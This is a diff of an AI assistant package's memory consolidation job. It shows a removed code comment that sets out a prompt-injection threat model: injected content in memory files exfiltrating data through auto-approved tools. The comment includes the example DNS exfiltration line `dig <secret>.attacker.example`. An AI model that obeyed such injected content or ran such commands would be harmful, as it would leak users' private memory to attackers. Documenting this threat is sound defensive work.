@vellumai/assistant 0.12.2 → 0.12.3-staging.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (298) hide show
  1. package/.env.example +2 -0
  2. package/AGENTS.md +1 -1
  3. package/docs/architecture/integrations.md +7 -0
  4. package/docs/architecture/memory.md +17 -2
  5. package/docs/credential-execution-service.md +1 -1
  6. package/docs/desktop-browser-cli.md +7 -3
  7. package/node_modules/@vellumai/ces-client/node_modules/@vellumai/service-contracts/src/__tests__/secret-detection.test.ts +1 -0
  8. package/node_modules/@vellumai/ces-client/node_modules/@vellumai/service-contracts/src/secret-detection.ts +4 -1
  9. package/node_modules/@vellumai/environments/src/shell.test.ts +21 -0
  10. package/node_modules/@vellumai/environments/src/shell.ts +24 -0
  11. package/node_modules/@vellumai/gateway-client/node_modules/@vellumai/service-contracts/src/__tests__/secret-detection.test.ts +1 -0
  12. package/node_modules/@vellumai/gateway-client/node_modules/@vellumai/service-contracts/src/secret-detection.ts +4 -1
  13. package/node_modules/@vellumai/gateway-client/src/inbound-contract.ts +8 -2
  14. package/node_modules/@vellumai/service-contracts/src/__tests__/secret-detection.test.ts +1 -0
  15. package/node_modules/@vellumai/service-contracts/src/secret-detection.ts +4 -1
  16. package/openapi.yaml +54 -5
  17. package/package.json +1 -1
  18. package/scripts/smoke-desktop-browser-cli.ts +1 -0
  19. package/scripts/sync-llm-catalog.ts +3 -0
  20. package/scripts/voice-ttft-spike.ts +2 -2
  21. package/src/__tests__/agent-loop.test.ts +259 -0
  22. package/src/__tests__/agent-wake-delegation-prompt.test.ts +64 -2
  23. package/src/__tests__/anthropic-provider.test.ts +55 -0
  24. package/src/__tests__/approval-interception-trust-gates.test.ts +40 -0
  25. package/src/__tests__/attachments-store.test.ts +22 -3
  26. package/src/__tests__/channel-approval.test.ts +9 -14
  27. package/src/__tests__/channel-reply-delivery.test.ts +56 -0
  28. package/src/__tests__/chat-credential-redaction.test.ts +23 -0
  29. package/src/__tests__/computer-use-screenshot-attachments.test.ts +411 -0
  30. package/src/__tests__/computer-use-screenshot-selection.test.ts +50 -0
  31. package/src/__tests__/conversation-agent-loop-inference-profile.test.ts +2 -0
  32. package/src/__tests__/conversation-agent-loop-overflow.test.ts +2 -0
  33. package/src/__tests__/conversation-agent-loop.test.ts +257 -6
  34. package/src/__tests__/conversation-attachments.test.ts +106 -0
  35. package/src/__tests__/conversation-fork-crud.test.ts +191 -0
  36. package/src/__tests__/conversation-rendered-delegation-state.test.ts +276 -0
  37. package/src/__tests__/credential-execution-client.test.ts +70 -53
  38. package/src/__tests__/db-conversation-tool-surface.test.ts +221 -0
  39. package/src/__tests__/events-tail-route.test.ts +33 -0
  40. package/src/__tests__/history-repair.test.ts +53 -0
  41. package/src/__tests__/inference-profile-session-handler.test.ts +26 -0
  42. package/src/__tests__/list-messages-tool-merge.test.ts +85 -1
  43. package/src/__tests__/llm-catalog-parity.test.ts +27 -4
  44. package/src/__tests__/oauth-apps-routes.test.ts +1 -0
  45. package/src/__tests__/oauth-commands-routes.test.ts +114 -101
  46. package/src/__tests__/oauth-connect-orchestrator.test.ts +2 -0
  47. package/src/__tests__/oauth-provider-serializer.test.ts +1 -0
  48. package/src/__tests__/oauth-providers-routes.test.ts +2 -0
  49. package/src/__tests__/persist-media-references.test.ts +50 -0
  50. package/src/__tests__/plugin-import-boundary-guard.test.ts +0 -1
  51. package/src/__tests__/run-conversation-turn-persistence.test.ts +138 -1
  52. package/src/__tests__/schedule-routes.test.ts +20 -0
  53. package/src/__tests__/scheduler-result-notification.test.ts +23 -4
  54. package/src/__tests__/script-proxy-certs.test.ts +1 -1
  55. package/src/__tests__/secret-routes-platform-proxy.test.ts +86 -31
  56. package/src/__tests__/secret-routes-scrub.test.ts +22 -27
  57. package/src/__tests__/secret-scanner.test.ts +20 -0
  58. package/src/__tests__/secure-keys-managed-failover.test.ts +8 -0
  59. package/src/__tests__/secure-keys.test.ts +7 -3
  60. package/src/__tests__/server-tool-pairing.test.ts +107 -0
  61. package/src/__tests__/skills.test.ts +5 -4
  62. package/src/__tests__/subagent-tool-gate-mode.test.ts +226 -0
  63. package/src/__tests__/terminal-tools.test.ts +8 -0
  64. package/src/__tests__/tool-result-follow-up.test.ts +99 -0
  65. package/src/__tests__/tool-result-metadata-plumbing.test.ts +63 -0
  66. package/src/__tests__/unicode.test.ts +36 -0
  67. package/src/agent/loop.ts +37 -12
  68. package/src/agent/tool-result-follow-up.ts +70 -0
  69. package/src/api/attachment-provenance.test.ts +68 -0
  70. package/src/api/computer-use-tool.test.ts +55 -0
  71. package/src/api/computer-use-tool.ts +27 -0
  72. package/src/api/events/assistant-outbound-attachment.ts +3 -0
  73. package/src/api/events/desktop-activity-changed.ts +10 -0
  74. package/src/api/events/question-request.ts +1 -0
  75. package/src/api/index.ts +11 -0
  76. package/src/api/responses/conversation-message.ts +3 -0
  77. package/src/approvals/approval-primitive.ts +5 -2
  78. package/src/approvals/scoped-approval-grants.ts +6 -2
  79. package/src/browser/virtual-desktop-target.ts +1 -2
  80. package/src/cli/commands/__tests__/cli-test-harness.ts +21 -3
  81. package/src/cli/commands/__tests__/plugins.test.ts +20 -1
  82. package/src/cli/commands/__tests__/schedules.test.ts +14 -0
  83. package/src/cli/commands/bash.help.ts +4 -3
  84. package/src/cli/commands/browser.help.ts +5 -1
  85. package/src/cli/commands/credentials.help.ts +3 -3
  86. package/src/cli/commands/oauth/index.help.ts +10 -0
  87. package/src/cli/commands/oauth/providers.ts +12 -0
  88. package/src/cli/commands/oauth/request.test.ts +179 -2
  89. package/src/cli/commands/oauth/request.ts +41 -10
  90. package/src/cli/commands/plugins.ts +12 -5
  91. package/src/cli/commands/schedules.ts +2 -0
  92. package/src/cli/lib/__tests__/inspect-plugin.test.ts +54 -0
  93. package/src/cli/lib/__tests__/install-from-github.test.ts +41 -0
  94. package/src/cli/lib/__tests__/local-plugin-upgrade.test.ts +133 -51
  95. package/src/cli/lib/__tests__/plugin-catalog-cache.test.ts +8 -2
  96. package/src/cli/lib/bundled-marketplace.json +855 -0
  97. package/src/cli/lib/bundled-plugin-packages.json +783 -1
  98. package/src/cli/lib/inspect-plugin.ts +11 -4
  99. package/src/cli/lib/upgrade-plugin.ts +19 -11
  100. package/src/cli/output.ts +18 -4
  101. package/src/config/__tests__/default-provider.test.ts +4 -0
  102. package/src/config/bundled-skills/schedule/SKILL.md +6 -6
  103. package/src/config/loader.ts +9 -17
  104. package/src/config/platform-identity.ts +8 -8
  105. package/src/config/profile-text-generation.test.ts +51 -0
  106. package/src/config/profile-text-generation.ts +51 -0
  107. package/src/config/schemas/__tests__/memory-v3.test.ts +12 -0
  108. package/src/config/schemas/llm.ts +7 -2
  109. package/src/config/schemas/mcp.ts +5 -1
  110. package/src/config/schemas/memory-v3.ts +12 -0
  111. package/src/credential-execution/ces-runtime.ts +2 -2
  112. package/src/credential-execution/executable-discovery.ts +36 -134
  113. package/src/credential-execution/process-manager.test.ts +20 -24
  114. package/src/credential-execution/process-manager.ts +24 -19
  115. package/src/daemon/__tests__/conversation-tool-setup.test.ts +43 -0
  116. package/src/daemon/__tests__/turn-tail-deleted-conversation.test.ts +36 -0
  117. package/src/daemon/assistant-attachments.ts +20 -12
  118. package/src/daemon/chat-credential-redaction.ts +16 -1
  119. package/src/daemon/conversation-agent-loop-handlers.ts +74 -3
  120. package/src/daemon/conversation-agent-loop.ts +12 -0
  121. package/src/daemon/conversation-attachments.ts +93 -12
  122. package/src/daemon/conversation-tool-setup.ts +71 -3
  123. package/src/daemon/conversation-turn-finalize.ts +26 -13
  124. package/src/daemon/conversation.ts +72 -17
  125. package/src/daemon/daemon-control.ts +3 -7
  126. package/src/daemon/lifecycle.ts +4 -4
  127. package/src/daemon/mcp-reload-service.ts +1 -1
  128. package/src/daemon/message-types/shared.ts +1 -0
  129. package/src/daemon/orphan-reaper.ts +4 -3
  130. package/src/daemon/persist-media-references.ts +20 -3
  131. package/src/daemon/tool-setup-types.ts +6 -0
  132. package/src/daemon/wake-conversation-ops.ts +50 -15
  133. package/src/desktop/desktop-automation-lease.test.ts +230 -0
  134. package/src/desktop/desktop-automation-lease.ts +90 -6
  135. package/src/desktop/desktop-help.ts +15 -0
  136. package/src/desktop/desktop-stream-bridge.test.ts +65 -10
  137. package/src/desktop/desktop-stream-bridge.ts +3 -3
  138. package/src/desktop/desktop-wallpaper-renderer.ts +132 -0
  139. package/src/desktop/desktop-wallpaper-worker.ts +17 -0
  140. package/src/desktop/desktop-wallpaper.test.ts +48 -7
  141. package/src/desktop/desktop-wallpaper.ts +34 -102
  142. package/src/desktop/virtual-desktop-feature.ts +1 -1
  143. package/src/mcp/__tests__/manager-tool-caps.test.ts +111 -0
  144. package/src/mcp/__tests__/startup.test.ts +30 -7
  145. package/src/mcp/__tests__/tool-caps.test.ts +107 -0
  146. package/src/mcp/manager.ts +168 -101
  147. package/src/mcp/startup.ts +33 -13
  148. package/src/mcp/tool-caps.ts +176 -0
  149. package/src/messaging/provider-message-metadata.ts +3 -3
  150. package/src/notifications/__tests__/copy-composer.test.ts +70 -0
  151. package/src/notifications/copy-composer.ts +11 -3
  152. package/src/notifications/schedule-result-producer.ts +4 -6
  153. package/src/oauth/AGENTS.md +2 -0
  154. package/src/oauth/__tests__/identity-verifier.test.ts +36 -1
  155. package/src/oauth/identity-verifier.ts +24 -0
  156. package/src/oauth/oauth-store.ts +11 -1
  157. package/src/oauth/provider-serializer.ts +1 -0
  158. package/src/oauth/seed-providers.ts +12 -0
  159. package/src/permissions/confirmation-guardian-request.test.ts +16 -0
  160. package/src/permissions/confirmation-guardian-request.ts +2 -3
  161. package/src/permissions/question-prompter.test.ts +31 -0
  162. package/src/permissions/question-prompter.ts +2 -0
  163. package/src/persistence/attachments-store.ts +84 -44
  164. package/src/persistence/conversation-crud.ts +111 -20
  165. package/src/persistence/conversation-plugin-facade.ts +30 -0
  166. package/src/persistence/conversation-tool-surface.ts +135 -0
  167. package/src/persistence/conversation-types.test.ts +32 -0
  168. package/src/persistence/conversation-types.ts +26 -4
  169. package/src/persistence/migrations/378-create-conversation-tool-surfaces.test.ts +78 -0
  170. package/src/persistence/migrations/378-create-conversation-tool-surfaces.ts +29 -0
  171. package/src/persistence/migrations/379-oauth-providers-response-ok-field.test.ts +92 -0
  172. package/src/persistence/migrations/379-oauth-providers-response-ok-field.ts +32 -0
  173. package/src/persistence/migrations/380-conversation-tool-surfaces-delegate-independent-tasks.test.ts +90 -0
  174. package/src/persistence/migrations/380-conversation-tool-surfaces-delegate-independent-tasks.ts +34 -0
  175. package/src/persistence/schema/conversation-tool-surfaces.ts +32 -0
  176. package/src/persistence/schema/index.ts +1 -0
  177. package/src/persistence/schema/oauth.ts +1 -0
  178. package/src/persistence/steps.ts +24 -3
  179. package/src/plugin-api/conversation-turn.ts +31 -7
  180. package/src/plugin-api/index.ts +11 -1
  181. package/src/plugin-api/plugin-channel-turn-trust.test.ts +133 -0
  182. package/src/plugin-api/plugin-channel-turn-trust.ts +71 -0
  183. package/src/plugins/defaults/memory/AGENTS.md +39 -5
  184. package/src/plugins/defaults/memory/__tests__/buffer-file.test.ts +365 -0
  185. package/src/plugins/defaults/memory/__tests__/buffer-format.test.ts +43 -0
  186. package/src/plugins/defaults/memory/__tests__/conversation-memory-purge.test.ts +1 -0
  187. package/src/plugins/defaults/memory/__tests__/db-memory-attach.test.ts +2 -0
  188. package/src/plugins/defaults/memory/__tests__/fixtures/buffer-appender.ts +17 -0
  189. package/src/plugins/defaults/memory/__tests__/memory-retrospective-job.test.ts +74 -0
  190. package/src/plugins/defaults/memory/__tests__/memory-run-evidence.test.ts +161 -0
  191. package/src/plugins/defaults/memory/__tests__/relocated-memory-test-rows.ts +10 -0
  192. package/src/plugins/defaults/memory/buffer-file.ts +354 -0
  193. package/src/plugins/defaults/memory/buffer-format.ts +40 -0
  194. package/src/plugins/defaults/memory/context-search/agent-runner.ts +1 -2
  195. package/src/plugins/defaults/memory/context-search/format.ts +2 -1
  196. package/src/plugins/defaults/memory/context-search/sources/memory-v2.ts +2 -1
  197. package/src/plugins/defaults/memory/context-search/sources/workspace.ts +2 -1
  198. package/src/plugins/defaults/memory/conversation-memory-purge.ts +4 -0
  199. package/src/plugins/defaults/memory/graph/capability-seed.ts +1 -2
  200. package/src/plugins/defaults/memory/graph/tool-handlers.ts +1 -42
  201. package/src/plugins/defaults/memory/host-utils.ts +0 -10
  202. package/src/plugins/defaults/memory/injectors.ts +4 -3
  203. package/src/plugins/defaults/memory/memory-retrospective-job.ts +72 -183
  204. package/src/plugins/defaults/memory/memory-run-evidence.ts +213 -0
  205. package/src/plugins/defaults/memory/src/memory-item-routes.test.ts +1 -1
  206. package/src/plugins/defaults/memory/substrate/__tests__/consolidation-job.test.ts +407 -99
  207. package/src/plugins/defaults/memory/substrate/__tests__/consolidation-prompt-flag-gating-guard.test.ts +10 -0
  208. package/src/plugins/defaults/memory/substrate/__tests__/prompts-consolidation.test.ts +107 -7
  209. package/src/plugins/defaults/memory/substrate/consolidation-job.ts +307 -86
  210. package/src/plugins/defaults/memory/substrate/consolidation-tool-surface.ts +34 -0
  211. package/src/plugins/defaults/memory/substrate/page-index.ts +2 -1
  212. package/src/plugins/defaults/memory/substrate/prompts/consolidation.ts +89 -49
  213. package/src/plugins/defaults/memory/substrate/sweep-job.ts +1 -1
  214. package/src/plugins/defaults/memory/tools.ts +1 -1
  215. package/src/plugins/defaults/memory/v1/graph/consolidation.ts +2 -2
  216. package/src/plugins/defaults/memory/v1/graph/extraction.ts +2 -1
  217. package/src/plugins/defaults/memory/v1/graph/retriever.ts +1 -1
  218. package/src/plugins/defaults/memory/v2/__tests__/migration.test.ts +5 -0
  219. package/src/plugins/defaults/memory/v2/__tests__/reranker.test.ts +5 -2
  220. package/src/plugins/defaults/memory/v2/reranker.ts +2 -1
  221. package/src/plugins/defaults/memory/v3/__tests__/injection.test.ts +81 -1
  222. package/src/plugins/defaults/memory/v3/__tests__/orchestrate.test.ts +87 -0
  223. package/src/plugins/defaults/memory/v3/__tests__/plugin-schema.test.ts +12 -0
  224. package/src/plugins/defaults/memory/v3/__tests__/pool-log-store.test.ts +183 -4
  225. package/src/plugins/defaults/memory/v3/__tests__/shadow-plugin.test.ts +103 -2
  226. package/src/plugins/defaults/memory/v3/card.ts +2 -1
  227. package/src/plugins/defaults/memory/v3/injector.ts +212 -178
  228. package/src/plugins/defaults/memory/v3/orchestrate.ts +112 -25
  229. package/src/plugins/defaults/memory/v3/plugin-schema.ts +54 -4
  230. package/src/plugins/defaults/memory/v3/pool-log-store.ts +253 -1
  231. package/src/plugins/defaults/memory/v3/pool-select.test.ts +35 -2
  232. package/src/plugins/defaults/memory/v3/pool-select.ts +31 -19
  233. package/src/plugins/defaults/memory/v3/sections.ts +2 -1
  234. package/src/plugins/defaults/memory/v3/shadow-plugin.ts +41 -14
  235. package/src/plugins/defaults/tool-error/hooks/post-tool-use.ts +4 -1
  236. package/src/plugins/defaults/tool-result-truncate/terminal.ts +1 -46
  237. package/src/prompts/__tests__/parallel-tasks-section.test.ts +25 -0
  238. package/src/prompts/delegation-gate.ts +57 -0
  239. package/src/prompts/system-prompt.ts +14 -32
  240. package/src/providers/inference/adapter-factory.ts +6 -0
  241. package/src/providers/jev/client.test.ts +260 -0
  242. package/src/providers/jev/client.ts +518 -0
  243. package/src/providers/model-catalog.ts +58 -3
  244. package/src/providers/server-tool-pairing.ts +16 -7
  245. package/src/runtime/AGENTS.md +2 -2
  246. package/src/runtime/__tests__/agent-wake.test.ts +94 -1
  247. package/src/runtime/agent-wake.ts +31 -4
  248. package/src/runtime/guardian-action-service.ts +2 -17
  249. package/src/runtime/guardian-reply-router.ts +1 -8
  250. package/src/runtime/http-server.ts +2 -2
  251. package/src/runtime/migrations/__tests__/vbundle-import-policy.test.ts +89 -0
  252. package/src/runtime/migrations/vbundle-import-policy.ts +33 -11
  253. package/src/runtime/routes/__tests__/inference-profiles-routes.test.ts +24 -2
  254. package/src/runtime/routes/channel-route-shared.ts +1 -9
  255. package/src/runtime/routes/conversation-routes.ts +29 -4
  256. package/src/runtime/routes/desktop-setup-routes.test.ts +2 -2
  257. package/src/runtime/routes/desktop-setup-routes.ts +8 -5
  258. package/src/runtime/routes/guardian-approval-interception.ts +24 -0
  259. package/src/runtime/routes/inbound-message-handler.ts +2 -3
  260. package/src/runtime/routes/inbound-stages/background-dispatch.test.ts +1 -1
  261. package/src/runtime/routes/inbound-stages/background-dispatch.ts +7 -4
  262. package/src/runtime/routes/inference-profile-session-handler.ts +11 -1
  263. package/src/runtime/routes/inference-profiles-routes.ts +9 -0
  264. package/src/runtime/routes/oauth-commands-routes.ts +57 -54
  265. package/src/runtime/routes/oauth-providers.ts +4 -0
  266. package/src/runtime/routes/oauth-request-hints.test.ts +246 -0
  267. package/src/runtime/routes/oauth-request-hints.ts +149 -0
  268. package/src/runtime/routes/schedule-routes.ts +2 -0
  269. package/src/runtime/routes/secret-routes.ts +99 -119
  270. package/src/schedule/__tests__/worker-mcp-bootstrap.test.ts +107 -0
  271. package/src/schedule/__tests__/worker-mcp-readiness.test.ts +173 -0
  272. package/src/schedule/__tests__/worker-mcp-tools.test.ts +13 -47
  273. package/src/schedule/run-script.ts +2 -2
  274. package/src/schedule/scheduler.ts +47 -11
  275. package/src/schedule/tool-surface-readiness.ts +65 -0
  276. package/src/schedule/worker-mcp.ts +85 -0
  277. package/src/schedule/worker.ts +9 -31
  278. package/src/security/secure-keys.ts +60 -48
  279. package/src/tools/ask-question/ask-question-tool.test.ts +167 -5
  280. package/src/tools/ask-question/ask-question-tool.ts +119 -23
  281. package/src/tools/browser/browser-execution.ts +7 -1
  282. package/src/tools/host-terminal/host-shell.ts +12 -6
  283. package/src/tools/shared/filesystem/file-ops-service.ts +1 -31
  284. package/src/tools/shared/shell-output.test.ts +10 -0
  285. package/src/tools/shared/shell-output.ts +14 -2
  286. package/src/tools/skills/sandbox-runner.ts +13 -2
  287. package/src/tools/skills/scaffold-managed.ts +2 -1
  288. package/src/tools/terminal/__tests__/safe-env.test.ts +33 -4
  289. package/src/tools/terminal/__tests__/sanitized-bash.test.ts +0 -14
  290. package/src/tools/terminal/safe-env.ts +35 -24
  291. package/src/tools/terminal/sanitized-bash.ts +15 -2
  292. package/src/tools/terminal/shell-launch.test.ts +162 -0
  293. package/src/tools/terminal/shell.test.ts +29 -0
  294. package/src/tools/terminal/shell.ts +13 -7
  295. package/src/util/browser-human-verification.ts +14 -0
  296. package/src/util/host-process.test.ts +17 -1
  297. package/src/util/host-process.ts +24 -0
  298. package/src/util/unicode.ts +29 -0
@@ -6,8 +6,11 @@
6
6
  *
7
7
  * The consolidation job is the centerpiece of v2: an hourly background pass
8
8
  * that routes accumulated `memory/buffer.md` entries into concept pages,
9
- * rewrites `memory/recent.md`, promotes new essentials/threads, and trims the
10
- * buffer down to entries that arrived after the run started.
9
+ * rewrites `memory/recent.md`, and promotes new essentials/threads. The
10
+ * buffer itself is never written by the agent: the job hands the run exactly
11
+ * the entries it will remove, and removes them itself afterwards, so an
12
+ * entry appended while the run is in flight is still in the buffer when it
13
+ * ends.
11
14
  *
12
15
  * Consolidation runs as the assistant: `runBackgroundJob()` bootstraps a
13
16
  * background conversation and routes the cutoff-templated prompt through
@@ -16,9 +19,9 @@
16
19
  * assistant's voice are the point — there is no "consolidator persona" to
17
20
  * substitute in.
18
21
  *
19
- * The tool surface is wire-scoped to {@link CONSOLIDATION_ALLOWED_TOOLS} — the
20
- * local memory-file operations this pass needs. See that constant for why the
21
- * run must not carry network egress or host-proxy tools.
22
+ * The tool surface is wire-scoped to {@link CONSOLIDATION_ALLOWED_TOOLS}: local
23
+ * file tools, a shell for corpus-wide inspection, recall, and the page-delete
24
+ * primitive. See that constant for the surface and what it excludes.
22
25
  *
23
26
  * Lifecycle:
24
27
  * 1. Bail if memory is disabled or concept-page memory is not active
@@ -28,11 +31,18 @@
28
31
  * so two overlapping schedule windows can't fight over the same files.
29
32
  * The lock contains the holder's PID + timestamp so a crashed run leaves
30
33
  * a diagnosable trace.
31
- * 3. Capture the cutoff timestamp at dispatch. Any buffer entry timestamped
32
- * at or after the cutoff arrived AFTER the run started leave it for
33
- * the next pass.
34
- * 4. Read `memory/buffer.md`. Bail if empty (no work to do, but the lock
35
- * and skip path still log so operators can confirm the schedule fired).
34
+ * 3. Read `memory/buffer.md` once: the snapshot. Bail if empty (no work to
35
+ * do, but the lock and skip path still log so operators can confirm the
36
+ * schedule fired).
37
+ * 4. Select this pass's entries from the snapshot. The cutoff timestamp is
38
+ * captured at dispatch (and pulled back to the first over-cap entry's
39
+ * stamp when the buffer exceeds the per-run cap); the pass is the
40
+ * snapshot's leading entries up to the first one stamped with the
41
+ * cutoff minute. Those entries are rendered verbatim into the prompt,
42
+ * so what the agent files and what the job later removes are the same
43
+ * set by construction. An entry appended after the snapshot is never in
44
+ * it, and a snapshot that caught an append mid-write leaves its last
45
+ * entry for the next pass. Nothing eligible → bail.
36
46
  * 5. Hand off to `runBackgroundJob()` with the templated prompt. The runner
37
47
  * handles bootstrap + processMessage + timeout + error classification,
38
48
  * and (because we set `suppressFailureNotifications: true`) does NOT
@@ -42,10 +52,21 @@
42
52
  * unchanged. The prompt body is loaded via `resolveConsolidationPrompt`
43
53
  * which bounds any operator-provided override to a regular file under
44
54
  * 1 MiB before substitution.
45
- * 6. Verify the run drained the buffer. `runResult.ok` only means the
46
- * background run completed the trim itself is delegated to the agent.
47
- * A run that completes without shrinking the buffer is reported as
48
- * `invoked` with `noProgress: true` and enqueues no follow-ups. The
55
+ * 6. Consume the pass's entries, and only then. `runResult.ok` only means
56
+ * the background run completed; before the job removes anything the
57
+ * run's persisted messages must hold at least one page-writing tool
58
+ * call whose result is not an error AND end with the agent's own
59
+ * closing reply (the pass summary the prompt mandates), the same two
60
+ * evidence shapes the retrospective's cursor advance uses. A run that
61
+ * wrote a page and then stopped mid-work has not filed its pass. With
62
+ * that evidence the job
63
+ * removes exactly the pass's entries from the live buffer through
64
+ * `consumeBufferEntries`, which leaves deferred entries and anything
65
+ * appended during the run in place. A run with no verified write, or
66
+ * a consume that fails, is reported as `invoked` with
67
+ * `noProgress: true`, enqueues no follow-ups, and leaves the buffer
68
+ * intact for the next pass. A failed run (provider error, exception,
69
+ * timeout) likewise consumes nothing. The
49
70
  * post-run page index is also read for `danglingLinks` (structural
50
71
  * references with no target page): reported on the outcome and in the
51
72
  * log, and fed into the NEXT pass's prompt as a repair step like
@@ -77,6 +98,8 @@
77
98
  import { readFileSync } from "node:fs";
78
99
  import { join } from "node:path";
79
100
 
101
+ import { getMessages } from "@vellumai/plugin-api";
102
+
80
103
  import {
81
104
  isMemoryV3Live,
82
105
  usesConceptPageMemory,
@@ -96,10 +119,21 @@ import {
96
119
  } from "../../../../persistence/jobs-store.js";
97
120
  import { runBackgroundJob } from "../../../../runtime/background-job-runner.js";
98
121
  import {
122
+ consumeBufferEntries,
123
+ type ConsumeBufferEntriesResult,
124
+ } from "../buffer-file.js";
125
+ import {
126
+ type BufferEntryLines,
99
127
  formatBufferTimestamp,
100
- matchBufferEntryStart,
128
+ joinBufferEntries,
129
+ splitBufferContent,
101
130
  } from "../buffer-format.js";
102
131
  import { getLogger } from "../logging.js";
132
+ import {
133
+ collectSuccessfulToolResultIds,
134
+ countDurableToolUses,
135
+ endsWithTextReply,
136
+ } from "../memory-run-evidence.js";
103
137
  import { getWorkspaceDir } from "../paths.js";
104
138
  import {
105
139
  CONSOLIDATION_TIMEOUT_MS,
@@ -107,6 +141,7 @@ import {
107
141
  releaseLock,
108
142
  tryAcquireLock,
109
143
  } from "./consolidation-lock.js";
144
+ import { CONSOLIDATION_ALLOWED_TOOLS } from "./consolidation-tool-surface.js";
110
145
  import { getPageIndex, type PageParseFailure } from "./page-index.js";
111
146
  import type { DanglingLink } from "./page-links.js";
112
147
  import {
@@ -121,45 +156,25 @@ const log = getLogger("memory-v2-consolidate");
121
156
  const JOB_NAME = "memory.consolidate";
122
157
 
123
158
  /**
124
- * Tool surface the consolidation run is wire-scoped to. Consolidation is a
125
- * purely LOCAL memory-file reorganization pass: it reads `buffer.md` + existing
126
- * pages, writes/edits concept pages, rewrites recent/essentials/threads, and
127
- * trims the buffer. It has NO legitimate need for network egress or host-proxy
128
- * tools.
129
- *
130
- * Scoping is load-bearing because the run is guardian-trust + non-interactive:
131
- * the permission checker auto-approves any tool whose classified risk is within
132
- * the background threshold (default `low`), and a public `web_fetch` classifies
133
- * Low. An unrestricted surface would therefore let prompt injection embedded in
134
- * buffer/page content — which can originate from untrusted material the
135
- * assistant ingested (fetched web pages, emails, documents, channel messages) —
136
- * exfiltrate memory over an auto-approved egress channel. Wire-gating to this
137
- * allowlist removes that channel entirely: the excluded tools (`web_fetch`,
138
- * `web_search`, `network_request`, `host_*`, …) are never even presented to
139
- * the model, so the fix does not rely on the permission threshold. Mirrors the
140
- * hardening the sibling memory-retrospective job already applies.
141
- *
142
- * `bash` is deliberately EXCLUDED. A shell reopens the egress channel this
143
- * allowlist exists to close: `dig` / `nslookup` / `ping` classify Low in the
144
- * command registry and so auto-approve in this background context, letting
145
- * prompt-injected page content exfiltrate memory over DNS (`dig
146
- * <secret>.attacker.example`) even with `web_fetch` hidden. The one
147
- * page-maintenance operation a shell would otherwise handle — retiring a
148
- * merged/renamed/dead page — is served by `delete_memory_page`, a slug-scoped
149
- * memory-page delete that reaches only `memory/concepts/**` and carries no
150
- * network or arbitrary-path reach. It is an allowlist-only tool (hidden from
151
- * every other tool surface; see `ALLOWLIST_ONLY_TOOL_NAMES`), so naming it here
152
- * is what surfaces it.
159
+ /**
160
+ * Tool names whose persisted `tool_use` blocks count as durable page work
161
+ * for the consume gate: the pass writes or edits concept pages and the
162
+ * aggregate views through the file tools and retires pages through
163
+ * `delete_memory_page`. The read-only tools on the allowlist do not
164
+ * qualify, and neither does `bash`: the shell is on the surface for
165
+ * corpus-wide inspection, and a shell call carries no evidence of what it
166
+ * did. The prompt tells the agent to write pages with the file tools for
167
+ * exactly this reason; a run that wrote only through the shell drains
168
+ * nothing and reports no progress, which is loud rather than lossy.
153
169
  */
154
- const CONSOLIDATION_ALLOWED_TOOLS: readonly string[] = [
155
- "file_read",
170
+ const CONSOLIDATION_DURABLE_TOOLS: ReadonlySet<string> = new Set([
156
171
  "file_write",
157
172
  "file_edit",
158
- "file_list",
159
- "code_search",
160
173
  "delete_memory_page",
161
- "recall",
162
- ];
174
+ ]);
175
+
176
+ /** The shell on the consolidation surface, counted for diagnosis only. */
177
+ const SHELL_TOOLS: ReadonlySet<string> = new Set(["bash"]);
163
178
 
164
179
  /**
165
180
  * Durable checkpoint tracking consecutive consolidation run failures.
@@ -286,6 +301,17 @@ export type ConsolidationOutcome =
286
301
  | { kind: "disabled" }
287
302
  | { kind: "locked"; holder: string }
288
303
  | { kind: "empty_buffer" }
304
+ | {
305
+ /**
306
+ * The buffer holds entries but none is eligible this pass: every entry
307
+ * is stamped with the cutoff minute (or later), so the run would have
308
+ * nothing to file. No agent run, no failure bookkeeping; the next
309
+ * scheduler tick re-checks.
310
+ */
311
+ kind: "nothing_eligible";
312
+ cutoff: string;
313
+ deferredEntries: number;
314
+ }
289
315
  | { kind: "run_failed"; reason?: string }
290
316
  | {
291
317
  kind: "invoked";
@@ -299,9 +325,16 @@ export type ConsolidationOutcome =
299
325
  deferredEntries: number;
300
326
  followUpJobIds: string[];
301
327
  /**
302
- * `true` when the run completed without shrinking the buffer the
303
- * agent never trimmed it, so nothing changed worth re-embedding and no
304
- * follow-ups were enqueued.
328
+ * Entries this pass removed from the buffer: the entries it handed the
329
+ * run, once the run left verified page-writing evidence. `0` when
330
+ * `noProgress` is set.
331
+ */
332
+ consumedEntries: number;
333
+ /**
334
+ * `true` when the run completed but nothing was consumed: it left no
335
+ * verified page write, or the consume itself failed. The buffer is
336
+ * untouched, nothing changed worth re-embedding, and no follow-ups
337
+ * were enqueued.
305
338
  */
306
339
  noProgress: boolean;
307
340
  /**
@@ -370,10 +403,9 @@ export async function memoryV2ConsolidateJob(
370
403
  return { kind: "empty_buffer" };
371
404
  }
372
405
 
373
- // Baseline for the post-run progress check same metric the scheduler's
374
- // size trigger uses, so "no progress" below means exactly "the trigger
375
- // condition still holds".
376
- const bufferLinesBefore = countNonEmptyLines(bufferContent);
406
+ // The snapshot. Everything this pass files and later removes comes from
407
+ // it; an entry appended after this read is by construction not in it.
408
+ const snapshot = splitBufferContent(bufferContent);
377
409
 
378
410
  // Step 3: capture cutoff. Formatted to match `buffer.md` entry timestamps
379
411
  // (`Mon D, h:mm AM/PM`, see `formatBufferTimestamp`) so the agent's
@@ -400,9 +432,8 @@ export async function memoryV2ConsolidateJob(
400
432
  const tuning = resolveSubstrateTuning(config.memory);
401
433
  const maxEntries = tuning.consolidation_max_entries_per_run;
402
434
  if (maxEntries != null) {
403
- const entryTimestamps = bufferContent
404
- .split("\n")
405
- .map(extractBufferEntryTimestamp)
435
+ const entryTimestamps = snapshot
436
+ .map((entry) => entry.start?.timestamp ?? null)
406
437
  .filter((timestamp): timestamp is string => timestamp !== null);
407
438
  if (entryTimestamps.length > maxEntries) {
408
439
  const overflowTimestamp = entryTimestamps[maxEntries];
@@ -438,6 +469,22 @@ export async function memoryV2ConsolidateJob(
438
469
  }
439
470
  }
440
471
 
472
+ // The pass: the snapshot's leading entries up to the first one stamped
473
+ // with the cutoff minute, rendered verbatim into the prompt and removed
474
+ // by this job once the run has filed them.
475
+ const pass = selectPassEntries(
476
+ snapshot,
477
+ cutoff,
478
+ await snapshotIsComplete(bufferPath, bufferContent),
